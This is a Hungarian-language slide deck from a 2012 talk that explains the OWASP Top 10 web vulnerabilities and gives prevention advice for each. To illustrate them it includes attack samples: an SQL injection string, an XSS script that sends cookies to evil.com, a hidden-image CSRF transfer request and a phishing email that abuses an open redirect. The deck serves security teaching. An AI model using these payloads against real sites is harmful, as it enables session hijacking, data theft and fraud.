OWASP TOP10

1. OWASP TOP10 Azaz a 10 legkritikusabb hiba web-alkalmazásokban 2012. November 28.

2. Bemutatkozás • Prém DánielTanszéki mérnök az Óbudai Egyetemen.Az iSec Newton Security csoport egyik vezetője.prem.daniel@nik.uni-obuda.hu

3. A TOP10 bemutatása A projekt célja, hogy összegyűjtse egy dokumentumba a webes alkalmazásokat érintő tíz legjelentősebb sérülékenységi fajtát és ezáltal segítséget nyújtson a szervezeteknek, hogy biztonságosabb programkódot készíthessenek. Az első lista 2003-ban látott napvilágot, majd frissítették 2004-ben, a következő kiadás 2007-ben debütált és a jelenlegi utolsó verzió 2010. április 19.-én került a nyilvánosság elé. A dokumentum eredeti nyelve angol, de lefordították francia, német, olasz, spanyol, kínai, japán, koreai, indonéz, vietnámi és héber nyelvre!

4. A TOP10 felhasználói • U.S. DefenseInformation Systems Agency • U.S. Federal Trade Commission • PaymentCardIndustry (PCI) • British Telecom • Citibank • HP • IBM Global Services • Symantec • És még sokan mások…

5. A TOP10-es lista áttekintése https://www.owasp.org/index.php/Top_10

6. A1: Injection • A befecskendezés lényege, hogy adatokat vagy utasításokat juttatunk be az alkalmazáson keresztül a parancsértelmezőnek • SQL, LDAP, XPath, OS Shell, kódbefecskendezés, stb… • Sajnos a mai napig igen elterjedt (főleg az SQL Injection) azonban elég egyszerűen elkerülhető lenne megfelelő odafigyeléssel • Az elmúlt években olyan szervezetek estek áldozatul ennek a támadási formának mint a Sony, LinkedIn, eHarmony és a Yahoo

7. A1: Injection Hacker Hanry betölti az oldalt Majd a támadást az űrlapba beírja és beküldi a szerverre Az alkalmazás felépíti az SQL lekérdezést és továbbítja az adatbázis felé Az adatbázis lefuttatja a módosított lekérdezést és az adatokat visszaküldi az alkalmazásnak Az alkalmazás kiadja az adatokat, jóváhagyja a hozzáférést, lefuttatja az utasításokat… SELECT * FROM `users` WHERE `name` = '' OR 1=1 --' AND `pass` = ''; user #1: Kiss Béla, kiss.bela@email.hu, … user #2: Nagy Nóra, nora.nagy@webcim.hu, …… user #n: Tóth Péter, pepe@webmail.hu, …

8. A1: Injection • Javaslatok: • Alkalmazzunk megfelelő bemeneti paraméter ellenőrzést (pl.: típus, hossz, érték, stb…) • Ahol csak tehetjük, alkalmazzunk White List alapú ellenőrzést a bemenő adatokon • Használjunk jól bevált technikákat, mint aPreparedStatementsvagy StoredProcedures • A kiosztott adatbázis jogosultságot minimalizáljuk • Bővebben:http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

9. A2: Cross-Site Scripting (XSS) • A támadás a felhasználók böngészőjében hajtódik végre • Lehet tárolt, tükrözött és DOM alapú • Szinte biztosan található minden web-alkalmazásban XSS sérülékenység… • Tipikusan a felhasználói munkamenet vagy érzékeny/személyes adatok megszerzésére használatos. De előfordul, hogy segítségével módosítják a weboldal tartamát, esetleg a látogatót átirányítják egy adathalász oldalra • Az elmúlt időszakban olyan honlapokban találtak XSS hibákat, mint az iwiw.hu, ebay.com, cnn.com, adobe.com, amazon.com, microsoft.com, myspace.com

10. A2: Cross-Site Scripting (XSS) Tárolt XSS Hacker Hanry betölti az oldalt és az ártó kódját beküldi az alkalmazásnak Alice betölti az alkalmazást a tárolt kóddal együtt Alice böngészője lefuttatja a kódot és kiszolgáltatja az adatokat vagy módosítja a honlap szerkezét mivel a teljes DOM elérhető <script> document.write( ”<imgsrc=’http://evil.com?q=” + document.cookie + ”’ alt=’’ />” ); </script> Hacker Hanry letölti a szerverről milyen adatokat gyűjtött össze…

11. A2: Cross-Site Scripting (XSS) • Javaslatok: • Ne használjuk fel (és ne jelenítsük meg) közvetlenül a felhasználók által bevitt adatokat • Alkalmazzunk kimeneti kódolást (pl.: HTML entitások) minden felhasználói adatra • Ha bejövő HTML adatot kell kezelni, akkor pedig minden esetben meg kell tisztítani az adatokathttp://www.owasp.org/index.php/AntiSamy • Bővebben:https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

12. A3: BrokenAuthentication and Session Management • Az alkalmazások a felhasználók hitelesítését és munkamenet kezelését gyakran nem megfelelően hajtják végre, így lehetővé teszik a támadóknak, hogy megszerezzék esetleg kitalálják a jelszavakat és munkamenet azonosítókat, vagy egyéb végrehajtási hibákat kihasználva megszemélyesítsenek egy felhasználót. • A bejelentkezést sok esetben titkosított csatornán (SSL) lehet elvégezni, azonban ez sokszor nem kényszerített, tehát lehallgatható • Másik alapvető hiba, hogy munkamenet azonosító védelméről is megfeledkezünk. Tudni kell, hogy kinek adtuk oda, meddig érvényes, stb… • Egy hacker szemszögéből szinte lényegtelen, hogy a felhasználónév és jelszó párost szerzi meg vagy a munkamenet azonosítót, hiszen mind a kettő segítségével meg tudja személyesíteni az áldozatot • Természetesen ide tartozik még a gyenge jelszó kezelés, azaz nincs minimális hossz, vagy nincs megkövetelve a jelszó komplexitás • Valamint a nem kellő körültekintéssel megtervezett jelszó emlékeztető

13. A3: BrokenAuthentication and Session Management Lehallgatás: Hacker Hanry monitorozza a hálózati forgalmat www.site.com?JSESSION=93C6A... Alice bejelentkezik az alkalmazásba Hacker Hanry megszerezte Alice belépési adatait Munkamenet eltérítés: Alice munkamenetét az oldal URL-ben adja vissza Alice kattint egy linkre, amit egy bejegyzésben talált (pl.: http://www.evil.com) Hacker Hanry letölti a napló referer tartalmát Hacker Hanry megszemélyesíti Alicet a munkament birtokában

14. A3: BrokenAuthentication and Session Management • Javaslatok: • A beléptetés legyen egyszerű, centralizált és standardizált • Ügyeljünk arra, hogy a belépési adatokat és a munkamenet azonosítót mindig SSL csatornával védjük • Felejtsük el az automatizált sérülékenység vizsgálati eszközöket • Ellenőrizzük az SSL tanúsítvány hitelességét és érvényességét • Bizonyosodjunk meg arról, hogy a kilépés biztosan megszünteti a munkamenetet és a benne tárolt adatokat • Bővebben:https://www.owasp.org/index.php/Authentication_Cheat_Sheethttps://www.owasp.org/index.php/Session_Management_Cheat_Sheet

15. A4: InsecureDirectObjectReferences • Akkor fordul elő, amikor egy hivatkozást helyezünk el egy állományra, oldalra, könyvtárra vagy bármilyen objektumra, anélkül, hogy bármilyen hozzáférés vezérlést alkalmaznánk • Ez a téma érinti a jogosultság kezelést és az A8-as URL hozzáférés korlátozásának hiányának fejezetét • Gyakori hiba, hogy csak azokat a tartalmakat listázzuk, amelyhez a felhasználónak joga van. Azonban a szerver oldalon amikor a konkrét kérés végrehajtódik ezt már nem ellenőrizzük újra. Így a támadó bármikor átírja az objektum hivatkozást és olyan tartalomhoz is hozzáférhet, amelyhez normál esetben nem lenne szabad

16. A4: InsecureDirectObjectReferences A felhasználó betölti a bank online felületét https://onlinebank.com/overview? acc=4057 acc=4056 Hacker Hanry észreveszi, hogy a saját azonosítója a 4057 Majd módosítja a paramétert Végül Hacker Hanry megszerzi áldozata számlaösszesítőjén található információkat

17. A4: InsecureDirectObjectReferences • Javaslatok: • Kerüljük a PathTraversal, Local File Inclusion lehetőségét • A közvetlen linkelés helyett alkalmazzunk valamilyen leképzési technikát:http://webapp.com/get?file=SecretReport.pdfhttp://webapp.com/get?file=C5LDJ28S832K • Ellenőrizzük, hogy a paraméter megfelelő formátumú-e • Minden esetben ellenőrizzük, hogy a felhasználó jogosult-e a tartalom elérésre • Ügyeljünk arra is, hogy csak a megfelelő műveletet végezhesse el az adott objektummal a felhasználó (pl.: olvasás, írás, törlés) • Bővebben:https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference

18. A5: Cross-SiteRequestForgery (CSRF) • Ebben a támadásban a támadó ráveszi az áldozat böngészőjét, hogy egy kérést intézzen a sérülékeny alkalmazás felé • Ez a módszer azért sikeres, mert a böngésző minden kéréshez elküldi az azonosítási adatokat is, mint pl.: AuthenticationHeader, Session ID, IP cím, Windows domaincreditentials, stb… • Továbbá az is hozzájárul, hogy az áldozat nem lép ki az alkalmazásból • Az előző két pont hatásaként a támadó olyan kéréseket indíthat a sérülékeny alkalmazás felé, amit az legitim forgalomnak fog értékelni • Tipikusan arra használják, hogy átutalásokat kezdeményezzenek, esetleg zároljanak egy fiókot, vagy bizalmas adatokhoz férjenek hozzá

19. A5: Cross-SiteRequestForgery (CSRF) Hacker Hanry elhelyezi az ártalmas kódot egy honlapon, amit az áldozati is látogat Alice meglátogatja a sérülékeny alkalmazást, viszont nem jelentkezik ki Kicsivel később Alice meglátogatja azt az oldalt, ahová Hacker Hanry beszúrta az ártalmas kódját Alice böngészője értelmezi a kódot, majd egy legitimnek tűnő kérést intéz a sérülékeny alkalmazáshoz Alice nevében, amit valójában Hacker Hanry kezdeményezett… <imgsrc=”http://mybank.com/transfer? amount=1500&dstAcc=4057” width=”0” height=”0” />

20. A5: Cross-SiteRequestForgery (CSRF) • Javaslatok: • Használjunk tokenrendszert, ahol érzékeny adatok feldolgozása történik, ezáltal ellehetetlenítve a támadót, hogy kérést hamisítson • A tokennek kriptográfiai erősségűnek vagy randomnak kell lennie • Kerüljük a token URL-be helyezését, mert a referer mezővel kiolvasható • Űrlapok esetében a rejtett mező erősen javasolt • Minden egyes kérésnek egyedi tokenjelegyen, lehetőleg lejárati idővel • Használjunk másodlagos (kétfaktoros) authentikációtaz érzékeny műveletekhez • Bővebben:https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet

21. A6: SecurityMisconfiguration • Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és jól konfigurált legyen az operációs rendszertől a web és adatbázis szerveren át a teljes alkalmazásig • Mindezeket a beállításokat meg kell határozni, végre kell hajtani majd folyamatosan karbantartani és ellenőrizni • Fontos azt is tudni, hogy a gyártók a termékeket alapból nem a biztonságos konfigurációval látják el, hiszen akkor a használatba vétel igen nehézkes lenne. Emiatt azt későbbi beállításokkal kell megteremteni • Nem szabad megfeledkezni hogy nem csak az OS-t és az alkalmazásokat kell ellenőrizni, hanem minden osztálykönyvtárat és külső modult is amelyet az alkalmazás használ

22. A6: SecurityMisconfiguration

23. A6: SecurityMisconfiguration • Javaslatok: • Ellenőrizni kell a beállításokat minden szinten • Javasolt a HardeningGuide-ok alkalmazása • Az automatizálásezen a ponton NAGYON HASZNOS lehet • Tartsuk napra késszen a rendszereket a javításokkal, nem csak az operációs rendszer és az alkalmazásokat, hanem minden osztálykönyvtárra fordítsunk kellő figyelmet • Elemezzük a változások biztonsági hatását • Bővebben:https://www.owasp.org/index.php/Configurationhttps://www.owasp.org/index.php/Testing_for_configuration_management

24. A7: InsecureCryptographic Storage • Elmulasztjuk meghatározni az érzékeny adatokat így általában nem a kellő körültekintéssel kezeljük őket • Valamint nem figyelünk eléggé, hogy minden előfordulási helyen megfelelően kezeljük azokat • Ebbe a részbe beletartozik: • a gyenge titkosítás, ami miatt visszafejthető az adat • a titkosítási kulcs nem megfelelő kezelése (pl.: a szalagos meghajtóra került adatokat titkosítjuk, majd a kulcs ugyan arra a szalagra kerül) • a hibásan implementált jelszó kivonatok, hiszen egy sózás nélküli hash akár néhány óra alatt visszafejthető lehet • a napló állományokba bekerült ellenőrizetlen adatok (pl.: a webszerver naplójába letároljuk a felhasználói jelszavakat)

25. A7: InsecureCryptographic Storage Az áldozat megadja a bankkártya adatait az alkalmazásnak A hibanaplózó lementi a kérés adatait a napló állományba, mivel a Fizetési Átjáró nem elérhető Minden IT dolgozó számára elérhetőek a napló állományok a hibakeresés céljából Egy belső munkatárs máris meglovasítja a naplóban található 4 millió kártya számot…

26. A7: InsecureCryptographic Storage • Javaslatok: • Azonosítsuk az érzékeny adatokat • Azonosítsuk a helyeket ahova az érzékeny adatok kerülhetnek • Védjük az adatokat és folyamatokat megfelelő titkosítással vagy kivonatolással • Használjunk standard és bizonyított eljárásokat ne találjunk ki sajátot, mert az nem bizonyított • A kulcsok kezelése legyen megoldva és kellő körültekintéssel kezelve • Készüljünk fel kulcsserére • Bővebben:https://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storagehttps://www.owasp.org/index.php/Guide_to_Cryptographyhttps://www.owasp.org/index.php/Codereview-Cryptography

27. A8: Failure to Restrict URL Access • Ez a téma kapcsolatban áll a jogosultság kezeléssel és az A4-es fejezettel, ami a nem biztonságos közvetlen objektum hozzáférés címet viselte • Ez a fejezet viszont kifejezetten az alkalmazás oldalaira tér ki az URL manipulálásával • Az alapvető probléma, hogy a jogosultságokat a linkrendszerbe építik bele és csak azokat a linkeket vagy menüket jelenítik meg a felhasználó számára amihez joga van, azonban ha kézzel átírja a hivatkozásokat és a szerver oldalon nem történik meg az újraellenőrzés, hogy ténylegesen jogosult-e a tartalom megtekintésére vagy módosítására…

28. A8: Failure to Restrict URL Access A felhasználó betölti a bank online felületét admin user /overview https://onlinebank.com/ Hacker Hanry észreveszi, hogy felhasználó szerepkörben van Majd módosítja a paramétert, ezáltal a szerepkörét Végül Hacker Hanry magasabb jogkörre tesz szert, mint alapból járna neki, így több információhoz jut hozzá

29. A8: Failure to Restrict URL Access • Javaslatok: • Minden oldalnak 3 dologra van szüksége: • Ellenőrizze, hogy a felhasználó belépett-e (ha nem publikus a tartalom) • Végre kell hajtani a felhasználói vagy a szerepkör alapú jogosultságkezelést • Teljesen le kell tiltani a lehetőségét a jogosulatlan kérelmeknek, amelyek konfigurációs állományokra, napló fájlokra vagy forrás állományokra irányulnak • Alkalmazzunk White List féle megközelítést • Az automatizált eszközök itt is sokszor gyengének bizonyulnak • Bővebben:https://www.owasp.org/index.php/Guide_to_Authorizationhttps://www.owasp.org/index.php/Testing_for_Path_Traversalhttps://www.owasp.org/index.php/Forced_browsing

30. A9: Insufficient Transport Layer Protection • Az alkalmazások gyakran nem hitelesítik vagy titkosítják az érzékeny adatokat a hálózati forgalomban, ezáltal sérül a bizalmasság és a sértetlenség • Ha mégis, akkor előfordul, hogy gyenge algoritmusokat, érvénytelen tanúsítványokat használnak, esetleg nem megfelelően kezelik őket • A támadó emiatt könnyűszerrel hozzáférhet olyan privát adatokhoz, mint az infrastruktúra elemei, operációs rendszer adatok, felhasználói azonosítók, bankkártya adatok, egészségügyi információk, pénzügyi adatok, stb… • A megszerzett adatokat későbbi támadáshoz felhasználhatja, de akár a feketepiacon is eladhatja

31. A9: Insufficient Transport Layer Protection A külső támadó könnyedén lehallgathatja a hálózati forgalmat és megszerezheti a belépési adatokat Sok esetben csak a web szerver és a kliens közötti kapcsolat titkosított, ekkor minden gond nélkül egy belső támadó lehallgathatja az alkalmazás és a backend közötti forgalmat

32. A9: Insufficient Transport Layer Protection • Javaslatok: • Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat közlekedik • Egyenként minden üzenetet titkosítsunk • Digitálisan írjuk alá az üzeneteket • Standard algoritmusokat használjunk • Megfelelően tároljuk a kulcsokat és a tanúsítványokat • Ellenőrizzük az SSL tanúsítványokat mielőtt használjuk • Bővebben:https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheethttps://www.owasp.org/index.php/Testing_for_SSL-TLS

33. A10: Avoiding Unvalidated Redirects and Forwards • A webes alkalmazások gyakran átirányítják (Redirect) vagy továbbítják (Forward/Transfer) egy másik lapra a felhasználókat • Megfelelő ellenőrzés nélkül a támadó ezt kihasználhatja és átirányíthatja a felhasználót egy adathalász oldalra • De akár egy továbbítás segítségével jogosulatlan tartalomhoz is hozzáférhet a támadó, hiszen kikerülheti a hozzáférés vezérlés mechanizmusát

34. A10: Avoiding Unvalidated Redirects and Forwards Hacker Hanry levelet küld az Alice céges E-mail címére Alice kattint a linkre, mivel megbízik benne, hiszen jó domain névre mutat Az alkalmazás nem ellenőrzi a redirect paramétert tehát szól Alice böngészőjének, hogy átirányítja a következő lapra, ami jelen esetben egy adathalász oldal Alice böngészője betölti az adathalász oldalt From: noreply@nav.hu To: alice@cegem.hu Subject: Nem várt adó visszatérítés A nyilvántartásunk szerint Önnek lehetősége van adó visszatérítést igényelnie! A folyamat elkezdéséhez kérjük kattintson ide. http://nav.gov.hu/ado?ev=2012 &...&redirect=www.adathalasz.hu Alice megbízik az adathalász oldalban, hiszen az előbb ellenőrizte az címet és kinézete is megegyezik az eredetivel

35. A10: Avoiding Unvalidated Redirects and Forwards • Javaslatok: • Minimalizáljuk az átirányítások számát az alkalmazásban • Ha alkalmazzuk, akkor kerüljük a felhasználói paraméterben megadható átirányításokat • Ha elkerülhetetlen a paraméteres átirányítás akkor mindig ellenőrizzük, hogy a felhasználó jogosult-e az átirányított oldalt elérni • Külső átirányítás esetén ellenőrizzük, hogy a cél szerepel-e a fehérlistán • Bővebben:https://www.owasp.org/index.php/Open_redirect

36. Hogyan lehet megoldani ezeket a problémákat? • Fejlesszünk biztonságos kódot • OWASP’s Guide to Building Secure Web Applications http://www.owasp.org/index.php/Guide • OWASP’s ApplicationSecurityVerification Standardhttp://www.owasp.org/index.php/ASVS • OWASP’s EnterpriseSecurityAPIhttp://www.owasp.org/index.php/ESAPI • Ellenőrizzük az alkalmazást • Legyen egy szakértői csoport aki átnézi az alkalmazást • OWASP's CodeReviewGuidehttp://www.owasp.org/index.php/Code_Review_Guide • OWASP's Testing Guidehttp://www.owasp.org/index.php/Testing_Guide

37. Köszönöm a figyelmet